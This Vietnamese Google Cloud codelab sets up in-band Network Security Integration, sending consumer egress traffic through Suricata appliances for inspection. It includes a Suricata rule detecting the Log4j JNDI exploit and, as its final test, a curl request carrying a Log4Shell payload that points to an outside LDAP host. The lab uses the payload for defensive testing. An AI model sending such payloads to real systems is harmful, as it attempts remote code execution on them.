1. Giới thiệu
Tích hợp bảo mật mạng
Tính năng Tích hợp bảo mật mạng (NSI) mang đến sự linh hoạt để tăng cường bảo mật mạng cho các tải công việc của bạn. Bạn có thể muốn tận dụng một thiết bị chuyên dụng của nhà cung cấp phần mềm độc lập (ISV) bên thứ ba hoặc tận dụng một công cụ kiểm tra gói tin chuyên sâu (DPI) để kiểm tra tải trọng. Để cho phép tích hợp liền mạch với các thiết bị của bên thứ ba này, Google Cloud giúp bạn dễ dàng triển khai các thiết bị một cách minh bạch mà không cần thay đổi mạng hoặc định tuyến.
Google Cloud cung cấp hai loại Network Security Integration (Tích hợp bảo mật mạng) – ngoài băng tần và trong băng tần. Phòng thí nghiệm này sẽ hướng dẫn các bước triển khai tính năng Tích hợp bảo mật mạng trong băng tần.
Tích hợp bảo mật mạng trong băng tần
Tính năng Tích hợp bảo mật mạng cung cấp tính năng tích hợp trong băng tần bằng cách sử dụng công nghệ chặn gói tin. Công nghệ này cho phép bạn đặt các thiết bị mạng của bên thứ ba vào đường dẫn lưu lượng truy cập mạng để kiểm tra các tải công việc trên Google Cloud một cách minh bạch. Quy trình này sử dụng phương thức Đóng gói ảo hoá mạng chung (GENEVE) để truyền các gói một cách an toàn đến thiết bị mà không thay đổi địa chỉ IP nguồn và đích ban đầu.
Tính năng tích hợp trong băng tần cung cấp một phương pháp tiếp cận lấy dịch vụ làm trung tâm để triển khai và sử dụng các thiết bị mạng nội tuyến của bên thứ ba ở chế độ bump-in-the-wire. Là nhà sản xuất dịch vụ, bạn có thể xuất bản một nhóm thiết bị mạng bên thứ ba có khả năng mở rộng dưới dạng một lượt triển khai chặn. Là một người dùng dịch vụ, bạn có thể sử dụng các chính sách và quy tắc của Tường lửa thế hệ tiếp theo trên đám mây để chọn lưu lượng truy cập một cách chi tiết nhằm chuyển hướng một cách minh bạch đến một điểm chặn cục bộ để kiểm tra.

Hình 1. Cấu trúc triển khai cấp cao của dịch vụ tích hợp trong băng tần
Để biết thêm thông tin về việc tích hợp NSI trong băng tần, hãy xem thông tin tổng quan về việc tích hợp trong băng tần.
Bộ tạo dịch vụ trong băng tần
Nhà sản xuất dịch vụ là nơi triển khai và quản lý các thiết bị của bên thứ ba. Việc này có thể do một người trong tổ chức của bạn (nhóm bảo mật, v.v.) hoặc một nhà cung cấp bên ngoài quản lý. Nhà sản xuất đăng ký máy ảo (có thể là thiết bị của bên thứ ba) làm phần phụ trợ cho một Bộ cân bằng tải mạng truyền qua nội bộ trong mạng VPC của họ. Các thiết bị này kiểm tra lưu lượng truy cập mạng được chuyển hướng đến chúng. Sau đó, nhà sản xuất dịch vụ sẽ tạo các triển khai Intercept, một tài nguyên theo khu vực trỏ đến quy tắc chuyển tiếp của Trình cân bằng tải mạng truyền qua nội bộ.
Việc triển khai chặn là một tài nguyên theo khu vực, đại diện cho dịch vụ kiểm tra của nhà sản xuất đối với một khu vực cụ thể. Nhà sản xuất tạo các lượt triển khai chặn cho từng vùng mà họ đã triển khai VM.
Nhóm triển khai chặn là một tài nguyên trên toàn cầu, ở phạm vi dự án, cho phép người dùng kết nối với các dịch vụ kiểm tra của nhà sản xuất. Nhà sản xuất tạo một nhóm triển khai chặn để nhóm nhiều lượt triển khai chặn theo khu vực lại với nhau. Nhà sản xuất sử dụng IAM để kiểm soát những người dùng có thể kết nối với nhóm triển khai của họ.
Để biết thêm thông tin, hãy xem bài viết Tổng quan về nhóm triển khai chặn và Tổng quan về việc triển khai chặn.
In-band Service Consumer
Người dùng dịch vụ sử dụng các dịch vụ kiểm tra do nhà sản xuất cung cấp. Người tiêu dùng chỉ định những VPC mà họ muốn kiểm tra và nhà sản xuất mà họ muốn mua. Để làm việc này, người dùng sẽ tạo một nhóm điểm cuối chặn, một tài nguyên chung đại diện cho phía của họ trong mối quan hệ nhà sản xuất – người tiêu dùng, đồng thời liên kết nhóm điểm cuối chặn với nhóm triển khai chặn của nhà sản xuất.
Để liên kết nhóm điểm cuối chặn với các VPC mà họ muốn lưu lượng truy cập được kiểm tra, người tiêu dùng sẽ tạo một mối liên kết nhóm điểm cuối chặn. Để chọn lưu lượng truy cập cần gửi đến nhà sản xuất để kiểm tra, người dùng sẽ tạo và sử dụng các chính sách tường lửa mạng. Người dùng tạo một nhóm hồ sơ bảo mật chứa hồ sơ bảo mật tham chiếu đến nhóm điểm cuối chặn của họ. Sau đó, người dùng sẽ tạo một quy tắc tường lửa để chuyển hướng lưu lượng truy cập đáp ứng các tiêu chí cụ thể đến các thiết bị của nhà sản xuất.
Mặc dù Nhóm điểm chặn(IEG) là một tài nguyên cấp dự án, nhưng IEG và mối liên kết IEG không nhất thiết phải nằm trong cùng một dự án. Một IEG có thể được tham chiếu bằng một mối liên kết IEG từ các dự án khác trong tổ chức của bạn. Nó đại diện cho phía người tiêu dùng trong mối quan hệ nhà sản xuất – người tiêu dùng. Người tiêu dùng tạo một nhóm điểm cuối chặn để sử dụng dịch vụ kiểm tra của nhà sản xuất. Mỗi nhóm điểm cuối chặn trên phía người dùng được liên kết với một nhóm triển khai chặn duy nhất trên phía nhà sản xuất.
Để biết thêm thông tin, hãy xem bài viết Tổng quan về các nhóm và mối liên kết của điểm cuối chặn.
Người dùng phải tạo một quy tắc chính sách tường lửa để chuyển hướng lưu lượng truy cập đến nhóm điểm cuối chặn của họ. Người dùng có thể chỉ định tiêu chí so khớp trong quy tắc chính sách tường lửa, cho phép họ xác định lưu lượng truy cập nào sẽ được các thiết bị của nhà sản xuất kiểm tra.
Người dùng tạo một hồ sơ bảo mật chặn tuỳ chỉnh để chỉ định nhóm điểm cuối chặn nào sẽ được dùng để kiểm tra lưu lượng truy cập.
Người dùng tạo một nhóm hồ sơ bảo mật để xác định một nhóm các tính năng kiểm tra bảo mật cần được áp dụng cho một nhóm lưu lượng truy cập cụ thể. Một nhóm hồ sơ bảo mật chứa một hồ sơ bảo mật chặn tuỳ chỉnh duy nhất.
Sản phẩm bạn sẽ tạo ra

Hình 2. Kiến trúc triển khai cấp cao cho lớp học lập trình này
Để đơn giản hoá lớp học lập trình này, bạn sẽ sử dụng một dự án duy nhất và tạo 2 mạng VPC, cũng như quản lý một số tài nguyên mạng và bảo mật. Phòng thí nghiệm này sẽ minh hoạ cách triển khai tính năng Tích hợp dịch vụ mạng trong băng tần với một thiết bị của bên thứ ba để chèn bảo mật một cách minh bạch.
Các luồng cần kiểm tra sẽ được chọn bằng cách sử dụng các thông số so khớp của Tường lửa đám mây, bao gồm cả bộ 5 thông tin (IP nguồn, IP đích, giao thức, cổng nguồn, cổng đích). Để đơn giản hoá phòng thí nghiệm này, bạn sẽ kiểm tra tất cả lưu lượng truy cập ĐẦU RA trên cổng TCP 80.
Nhà sản xuất sẽ cho phép lưu lượng truy cập đến từ IP cổng mạng con VPC của nhà sản xuất (10.0.0.1/32) cho các gói UDP có cổng đích là 6081 – cổng nổi tiếng cho GENEVE.
Trạng thái cuối cùng của cơ sở quy tắc chính sách tường lửa mạng sẽ tương tự như bảng bên dưới:
Chính sách về mạng lưới nhà sản xuất:
Mức độ ưu tiên | Hướng dẫn | Giao thức | Target | Nguồn | Đích đến | Cổng đích | Hành động |
100 | Lưu lượng vào | Tất cả | Tất cả | Kiểm tra tình trạng | Bất kỳ | Bất kỳ | Cho phép |
200 | Lưu lượng vào | Tất cả | Tất cả | IAP | Bất kỳ | Bất kỳ | Cho phép |
300 | Lưu lượng vào | UDP | Tất cả | 10.0.0.1/32 | Bất kỳ | 6081 | Cho phép |
Chính sách mạng lưới người tiêu dùng:
Mức độ ưu tiên | Hướng dẫn | Giao thức | Target | Nguồn | Đích đến | Cổng đích | Hành động |
200 | Lưu lượng vào | TCP | Tất cả | IAP | Bất kỳ | 22 | Cho phép |
800 | Lưu lượng ra | TCP | Tất cả | Bất kỳ | Bất kỳ | 80 | Chặn |
Kiến thức bạn sẽ học được
- Cách triển khai chế độ tích hợp bảo mật mạng trong băng tần
Bạn cần có
- Tổ chức và dự án trên Google Cloud
- Quyền IAM phù hợp
- Kiến thức về việc triển khai các phiên bản và định cấu hình các thành phần mạng
- Kiến thức về cấu hình Tường lửa theo chính sách mạng
2. Trước khi bắt đầu
Vai trò và quyền trong IAM
Để hoàn tất lớp học lập trình về Tích hợp bảo mật mạng (NSI) trong băng tần, bạn sẽ cần các vai trò IAM sau:
- Quản trị viên mạng điện toán (
roles/compute.networkAdmin): Cần thiết để tạo và quản lý mạng VPC, mạng con, Bộ định tuyến đám mây, cổng NAT và dịch vụ phụ trợ của trình cân bằng tải. - Quản trị viên bảo mật điện toán (
roles/compute.securityAdmin): Cần thiết để tạo, định cấu hình và liên kết các quy tắc và chính sách tường lửa mạng toàn cầu. - Quản trị viên thực thể Compute (
roles/compute.instanceAdmin.v1): Cần thiết để triển khai, kết nối qua SSH và cuối cùng là xoá các thiết bị Suricata và máy ảo thử nghiệm của người tiêu dùng. - Quản trị viên triển khai chặn (
roles/networksecurity.interceptDeploymentAdmin): Do nhà sản xuất sử dụng để tạo và quản lý việc triển khai chặn theo khu vực và nhóm triển khai toàn cầu. - Quản trị viên điểm cuối chặn (
roles/networksecurity.interceptEndpointAdmin): Được người tiêu dùng dùng để tạo các nhóm điểm cuối chặn và liên kết các nhóm đó với mạng VPC của họ. - Intercept Deployment User (
roles/networksecurity.interceptDeploymentUser): Bắt buộc đối với dự án nhà sản xuất để cấp cho người dùng quyền kết nối với nhóm triển khai của nhà sản xuất. - Quản trị viên hồ sơ bảo mật (
roles/networksecurity.securityProfileAdmin): Bắt buộc ở cấp tổ chức để tạo và quản lý các hồ sơ bảo mật chặn tuỳ chỉnh và nhóm hồ sơ bảo mật. - Quản trị viên sử dụng dịch vụ (
roles/serviceusage.serviceUsageAdmin): Cần thiết để bật các APInetworksecurity.googleapis.comvàcompute.googleapis.comcần thiết cho các tính năng NSI. - Người xem dự án (
roles/viewer): Cần thiết để truy xuất thông tin về cấu hình dự án và hệ thống phân cấp tổ chức cho các biến môi trường được dùng trong suốt phòng thí nghiệm.
Cloud APIs của Google
Vui lòng đảm bảo rằng các Cloud APIs bắt buộc của Google đã được bật trong dự án của bạn.
Bật các API cần thiết, chạy các lệnh gcloud sau đây trong Cloud Shell.
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
Tạo/cập nhật biến
Lớp học lập trình này sử dụng các $biến để hỗ trợ việc triển khai cấu hình gcloud trong Cloud Shell.
Trong Cloud Shell, hãy chạy các lệnh bên dưới và thay thế thông tin trong dấu ngoặc nếu cần:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
3. Hành động của nhà sản xuất
Phần này sẽ đề cập đến phía triển khai nhà sản xuất. Điều này bao gồm việc triển khai VPC, thiết bị ảo mạng của bên thứ ba và tất cả các thành phần có liên quan cho hoạt động Tích hợp bảo mật mạng.
Các thành phần VPC và Cloud NAT
- Tạo VPC và mạng con:
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- Lấy IP cổng mạng con để sử dụng quy tắc tường lửa:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- Tạo chính sách và quy tắc tường lửa cho VPC của nhà sản xuất. Các quy tắc FW này sẽ cho phép lưu lượng truy cập đến cho các hoạt động kiểm tra tình trạng, IAP và lưu lượng truy cập có nguồn gốc từ NSI:
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- Liên kết VPC của nhà sản xuất với Chính sách tường lửa mạng:
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- Triển khai Cloud Router và Cloud NAT cho Thiết bị mạng ảo (NVA) của bên thứ ba để tải các gói và bản cập nhật cần thiết xuống:
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
VM của bên thứ ba
Trong phòng thí nghiệm này, bạn sẽ triển khai Suricata, một dịch vụ phát hiện mối đe doạ nguồn mở. Lệnh này có một tập lệnh khởi động sẽ cài đặt và định cấu hình Suricata. Ngoài ra còn có iptables thực hiện tính năng Dịch địa chỉ mạng nguồn (SNAT) và Dịch địa chỉ mạng đích (DNAT) để xử lý và phản hồi các gói GENEVE.
- Triển khai NVA của bên thứ ba trong vùng đầu tiên.
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- Triển khai NVA của bên thứ ba trong vùng thứ hai:
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
Các thành phần của Trình cân bằng tải của nhà sản xuất
- Tạo một quy trình kiểm tra tình trạng chung để kiểm tra tính sẵn có của NVA bên thứ ba:
gcloud compute health-checks create http nva-hc
- Tạo một nhóm thực thể không được quản lý theo khu vực cho mỗi khu vực:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- Thêm các phiên bản vào nhóm phiên bản:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
Xác thực rằng nhóm thực thể chứa các thực thể của bạn bằng các lệnh sau:
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
Kết quả mẫu:
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- Tạo một dịch vụ phụ trợ UDP nội bộ:
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- Thêm cả hai nhóm thực thể vào dịch vụ phụ trợ:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- Dành riêng các IP nội bộ cho quy tắc chuyển tiếp. Mỗi lần triển khai chặn cần có một quy tắc chuyển tiếp riêng biệt:
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- Tạo quy tắc chuyển tiếp cho từng vùng. Bạn phải thực hiện việc này vì việc triển khai chặn yêu cầu phải có một quy tắc chuyển tiếp riêng biệt:
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
Thành phần tích hợp bảo mật mạng
- Tạo nhóm triển khai chặn:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
Xác thực rằng bạn đã tạo thành công nhóm triển khai:
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
Kết quả mẫu:
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- Tạo một chế độ triển khai chặn cho từng vùng:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Xác thực rằng bạn đã tạo thành công các lượt triển khai chặn:
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
Kết quả mẫu:
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
Xin chúc mừng, bạn đã hoàn tất quy trình thiết lập phía nhà sản xuất. Tiếp theo, bạn sẽ định cấu hình phía người dùng để chặn lưu lượng truy cập và gửi lưu lượng truy cập đó một cách minh bạch đến các thiết bị của bên thứ ba để thực thi.
4. Hành động của người tiêu dùng
Mặc dù phòng thí nghiệm này sử dụng các VPC riêng biệt trong một dự án duy nhất để đơn giản hoá, nhưng trong môi trường thực tế, tài nguyên của nhà sản xuất và người tiêu dùng có thể nằm trong các dự án khác nhau hoặc thậm chí trên các tổ chức khác nhau.
Các thành phần VPC và Cloud NAT
- Tạo VPC và mạng con:
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- Tạo Cloud Router và cổng Cloud NAT:
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
Chặn nhóm và mối liên kết của thiết bị đầu cuối
- Tạo nhóm điểm cuối chặn:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Xác thực rằng bạn đã tạo thành công điểm cuối:
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
Kết quả mẫu:
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- Tạo mối liên kết nhóm điểm cuối chặn, chỉ định VPC của người dùng:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Xác thực:
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
Kết quả mẫu:
createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
Hồ sơ bảo mật và Nhóm hồ sơ bảo mật
Tiếp theo, bạn sẽ tạo một hồ sơ bảo mật tuỳ chỉnh để chặn và đính kèm hồ sơ đó vào nhóm hồ sơ bảo mật. Hồ sơ bảo mật và nhóm hồ sơ bảo mật được dùng để chặn gói cho các thiết bị của bên thứ ba.
- Tạo một Cấu hình bảo mật chặn tuỳ chỉnh:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Xác thực rằng hồ sơ bảo mật đã được tạo thành công:
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
Kết quả mẫu:
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- Tạo một Nhóm hồ sơ bảo mật:
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
Xác thực rằng SPG đã được tạo thành công:
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
Kết quả mẫu:
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
Chính sách, quy tắc và mối liên kết của tường lửa
- Tạo chính sách tường lửa mạng toàn cầu:
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- Tạo quy tắc tường lửa:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- Tạo quy tắc tường lửa để chặn tất cả lưu lượng truy cập đi ra, tận dụng NSI để gửi đến thiết bị bên thứ ba của chúng tôi một cách minh bạch. Quy tắc này sẽ gửi tất cả lưu lượng truy cập TCP:80 đi để kiểm tra.
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- Liên kết chính sách tường lửa trên đám mây với mạng VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
Máy ảo dành cho người tiêu dùng
- Triển khai các máy ảo dùng để xác thực NSI. Bạn sẽ triển khai 3 VM trên 3 vùng. Hãy nhớ rằng chỉ có 2 vùng bật NSI trong khi $zonec thì không.
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
Thử nghiệm tính năng tích hợp bảo mật mạng trong băng tần
- SSH vào máy ảo trong $zonea (consumer-$zonea). Gửi lưu lượng truy cập thử nghiệm:
gcloud compute ssh consumer-$zonea \ --zone $zonea
- Gửi lưu lượng truy cập thử nghiệm đến http://www.google.com:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Kết quả đầu ra dự kiến:
200
Mã trạng thái HTTP 200 cho biết rằng máy chủ đã nhận, hiểu và xử lý thành công yêu cầu của ứng dụng.
- Gửi các yêu cầu log4j mà Suricata sẽ chặn thông qua NSI.
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Kết quả đầu ra dự kiến:
000
